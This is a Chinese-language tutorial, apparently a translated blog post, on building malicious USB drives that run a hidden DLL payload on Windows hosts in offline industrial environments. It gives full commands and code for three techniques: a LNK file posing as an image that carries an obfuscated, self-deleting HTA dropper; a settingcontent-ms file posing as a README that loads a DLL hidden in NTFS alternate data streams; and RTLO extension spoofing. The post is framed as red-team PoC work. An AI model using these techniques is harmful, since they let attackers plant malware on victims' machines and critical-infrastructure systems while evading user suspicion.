一、前言
我個人在能源行業已經工作了好幾年,在這個領域,安全態勢與傳統的IT有所不同。比如,在這個行業可用性會比保密性更加重要,此外系統通常不會連接到互聯網(話雖如此,大家都還記得Wannacry瘋狂肆虐的樣子嗎)。網絡信號過濾或者物理隔離是這種場景中攻擊者必須繞過的安全防御機制。
針對工業系統的攻擊通常由自動化惡意軟件載荷來發起,這類載荷并不需要連接到遠程系統。此外,載荷并不需要完成數據竊取任務,因為其主要目標就是大肆破壞。Stuxnet(震網)病毒就是此類攻擊的一個絕佳案例。
在本文中,我想給大家展示如何利用惡意U盤的一些PoC方法,這些方法可以在模擬攻擊環境中進行攻擊。這類攻擊方法必須遵循如下規則:
1、沒有建立互聯網連接;
2、除了目標系統的OS信息之外,對其他信息一無所知;
3、U盤上可見的內容應該盡可能少地觸發警告信息;
4、載荷的執行應該盡可能少地觸發警告信息。
我們的目標是傳播并運行二進制載荷。在如下一些樣例中,我們的載荷為DLL文件(payload.dll)。
二、利用LNK文件
目標系統:MS Windows OS
主要原理:我曾介紹過如何利用HTA文件發起攻擊,這是具體的操作方法。
利用策略
在第一個PoC中,我們的任務是讓目標用戶認為自己打開的是一個圖片文件(confidential.jpg),然而實際上他打開的是一個惡意的LNK快捷方式文件(confidential.jpg.lnk)。快捷方式中隱藏著一個HTA釋放器(dropper)。LNK會執行HTA文件,后者會釋放并執行DLL載荷,并將快捷方式替換為一張欺詐圖片(confidential.jpg)。

構造釋放DLL的HTA載荷
我們可以利用macro_pack來構造經過混淆處理的HTA載荷,該載荷可以釋放并執行payload.dll,具體命令如下:
echo DllMain | macro_pack.exe --template=EMBED_DLL --embed=payload.dll --obfuscate -G payload.hta
EMBED_DLL模板可以創建一段VB代碼,釋放-embed參數所指向的文件,并使用Rundl32l來加載這個文件。我們可以指定模板運行DLL文件的DllMain函數。
我們可以使用-G選項來生成HTA文件,文件中的VB代碼經過混淆處理。
大家可以使用mshta來檢查HTA文件是否能正常運行,是否會調用我們的DLL文件(DLL文件將被釋放到臨時目錄中)。
構造釋放圖片的HTA載荷
我們也可以使用EMBED_EXE這個macro_pack模板來嵌入、釋放并運行我們選定目錄中的載荷。在本文案例中,我們使用的是“confidential.jpg”這張圖片。我們的目標是將該圖片釋放到惡意LNK文件所處的同一目錄中,這樣一旦DLL載荷被成功運行,該圖片就可以替換對應的LNK文件。
echo "confidential.jpg" | macro_pack.exe -t EMBED_EXE --embed=confidential.jpg -o -G pic.hta
如果我們雙擊pic.hta,我們會看到confidential.jpg圖片被釋放到當前目錄中,并且被默認的圖片查看器打開。
封裝到自刪除的HTA文件中
我并沒有開發具體功能來將多個二進制載荷嵌入一個macro_pack中,也就是說我們必須生成DLL釋放器、圖片釋放器然后手動執行復制粘貼操作才能構造最終可用的HTA載荷。
具體操作如下:
1、使用文本編輯器打開payload.hta以及pic.hta文件;
2、將pic.hta的AutoOpen函數重命名為AutoOpen2;
3、將pic.hta的所有vb代碼拷貝到payload.hta中(最后兩行的AutoOpen以及Close代碼除外)。
4、編輯payload.hta文件最后兩行的AutoOpen以及Close代碼。
AutoOpen2
AutoOpen
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
Set WshShell = CreateObject("WScript.Shell")
objFSO.DeleteFile window.document.location.pathname
Close
現在payload.hta文件會釋放并運行圖片,然后運行DLL并在運行后刪除自身文件。
注意:如果我們想要多次使用同一個USB介質,我們需要去掉自刪除代碼,將圖片釋放到臨時目錄中,而非當前目錄中。
構建惡意LNK文件
我們可以利用HTA文件的便捷性,將其嵌入到LNK文件中。由于我們的LNK文件名為confidential.jpg.lnk,我們希望它能順利運行如下命令:
%windir%system32cmd.exe /c start "" "mshta" "%CD%confidential.jpg.lnk"
注意:我們在構造USB載荷時,遇到的一個難題是載荷需要知道自己所處的具體路徑。這個例子中,我們依賴的是macro_pack,它可以配置LNK文件運行在當前目錄中,這樣一來%cd%命令就能給出當前的卷名及路徑。在第二個PoC中我們可以看到更為困難的一種場景。
我們可以使用macro_pack來生成LNK。我選擇直接將快捷方式生成到USB介質中,避免我們拷貝快捷方式時系統對其做出修改。這里USB介質的卷標為“G:”。
macro_pack.exe -G G:confidential.jpg.lnk
當提示輸入“Shortcut_Target”時我們輸入如下信息:
%windir%system32cmd.exe /c start "" "mshta" "%CD%confidential.jpg.lnk"
當提示輸入“Shortcut_Icon”時我們輸入如下信息:
%windir%system32imageres.dll,67
注意:67這個數字對應的是imageres.dll中的JPG圖像。

現在LNK快捷方式已創建完畢,我們可以將HTA代碼附加到該文件中。
copy /b G:confidential.jpg.lnk+cmd.hta G:confidential.jpg.lnk
就這么簡單,我們的釣魚載荷已構造完畢。
測試
將confidential.jpg.lnk拷貝到某個USB介質中,并將該介質插入另一個Windows主機上。訪問U盤并雙擊confidential.jpg,系統會向我們顯示對應的圖片。
DLL已被成功加載,但處于隱藏狀態,我們可以使用taskmgr或者Sysinternals的procexp觀察正在運行的DLL。DLL文件被釋放到臨時目錄中的“Document1.asd”,并使用如下VB代碼加以運行。CreateObject("WScript.Shell").Run "%windir%system32rundll32.exe %temp%Document1.asd,>>", 0
順利執行后,我們會發現U盤上LNK文件已不復存在,被替換成正確的圖片文件。
三、利用惡意設置
目標系統:MS Windows 10
主要原理:Matt Nelson之前發表過有關SettingContent-ms文件的研究結果,這里用到的就是這個原理。
利用策略
在這個場景中,我們的任務是讓目標用戶認為他打開的是“README.txt”文件,實際上他運行的是一個惡意的settingcontent-ms文件。
由于settingcontent-ms文件遵循嚴格的XML規范,因此貌似我們無法像前一種方法那樣將其與HTA文件融合起來。這里我們可以使用NTFS的Alternate Data Streams(ADS,供選數據流)來隱藏并運行DLL載荷。

這個settingcontent-ms文件將會執行隱藏在Alternate Data Stream(README.txt.settingcontent-ms:R)中的DLL,也會運行Notepad來顯示另一個ADS(README.txt.settingcontent-ms:T.txt)中存放的欺詐文本。
settingcontent-ms文件的優勢在于它不會像LNK或者URI文件那樣圖標上有個快捷箭頭。
構建欺詐文本
首先我們可以構建一個簡單的文本文件,當目標用戶打開readme文件時就會在notepad中看到具體內容。
echo "This is a simple README file." > Text.txt
構建惡意設置快捷方式文件
我們可以使用macro_pack來生成settincontent-ms文件。比如,我們可以使用如下命令來生成一個偽造的README.txt文件,該文件可以通過命令行來運行計算器應用:
echo 'C:windowssystem32cmd.exe /c calc.exe' '.' | macro_pack.exe -G README.txt.settingcontent-ms
能彈出計算器的確很不錯,但我們真正需要的是能夠運行載荷。DLL以及欺詐文件會隱藏在USB介質NTFS文件系統的Alternate Data Stream中。我們所面臨的問題在于settingcontent-ms文件默認會在“C:windowssystem32”中打開,這意味著我們需要找到一種方法來定位USB介質所對應的卷標。我使用了powershell來完成這個任務,可能還有其他方法能夠解決這個問題。
我希望執行的命令行如下所示:
%windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$driveREADME.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$driveREADME.txt.settingcontent-ms:R"
這段命令所做的操作包括:
1、調用wmi來獲取USB卷名,存放到$drive變量中;
2、運行notepad打開README.txt.settingcontent-ms:T.txt中的誘騙文件。
3、運行control.exe來加載README.txt.settingcontent-ms:R中的DLL載荷。
需要注意的是,這里我們可以參考上一種場景,使用rundll32來運行DLL,然而我想嘗試一下其他方法。
構造完畢的README.txt.settingcontent-ms文件如下所示:
xml version="1.0" encoding="UTF-8"?>
PCSettings>
SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
ApplicationInformation>
AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanelAppID>
DeepLink>%windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$driveREADME.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$driveREADME.txt.settingcontent-ms:R"DeepLink>
Icon>.Icon>
ApplicationInformation>
SettingIdentity>
PageID>PageID>
HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}HostID>
SettingIdentity>
SettingInformation>
Description>@shell32.dll,-4161Description>
Keywords>@shell32.dll,-4161Keywords>
SettingInformation>
SearchableContent>
PCSettings>
創建Alternative Data Stream
首先,我們需要確保USB介質已經使用NTFS文件系統格式化過。
其次,將README.txt.settingcontent-ms文件移動到NTFS USB介質中。
在這個例子中,USB介質所對應的卷標為“G:”。
現在我們可以來構建ADS。
首先是包含DLL的README.txt.settingcontent-ms:R流:
type payload.dll > G:README.txt.settingcontent-ms:R
然后是包含誘騙文本的G:README.txt.settingcontent-ms:T.txt流:
type Text.txt > G:README.txt.settingcontent-ms:T.txt
我們可以使用sysinternal的“Streams”工具來檢查創建的ADS的確對應USB介質上的文件。

注意:如果我們編輯并保存USB介質上的README.txt.settingcontent-ms,那么與文件關聯的Alternate Data Stream就會丟失,我們不得不重新執行以上兩條命令。
測試
將制作好的U盤插入另一臺Windows 10主機上。訪問這個U盤,雙擊“README.txt”。我們可以看到DLL被成功加載,并且notepad會自動打開,展示“This is a simple README file. ”文本。四、利用Unicode RTLO
目標系統:MS Windows以及其他系統
主要原理:實話實說我已不記得最早在哪看到這種方法。
利用策略
這一次我們準備構造一個欺詐文件后綴名,具體方法是注入Unicode Right-To-Left-Overrive(RTLO)字符。這是隱藏文件擴展名的一種絕佳方法,因為在RTLO之后的所有字符將以從右到左的方式呈現給用戶。
比如,我可以使用macro_pack來構造能夠運行計算器的一個HTA文件,該文件帶有偽造的“.jpg”擴展名。具體命令如下:
echo calc.exe | macro_pack.exe -t CMD -G calc.hta --unicode-rtlo=jpg
在資源管理器中,這個文件看起來像是calcath.jpg,而實際上它的文件名為calc[rtlo]gpj.hta。
這種方法非常有趣,并且也適用于其他操作系統(如Ubuntu),也有可能適用于其他應用程序,如郵件客戶端等。
練習
我們可以通過多種方法來利用unicode RTLO實施釣魚攻擊。
比如,一種方法就是將惡意的exe文件偽裝成zip文件(更改文件圖標,同時使用RTLO方法使文件名看起來以.zip后綴名結束)。
在某個攻擊場景中,當目標用戶雙擊偽造的zip文件后,exe文件就會運行載荷,打開隱藏在文件資源區或者ADS中的zip誘騙文件。
這個任務就留給大家來練習吧
|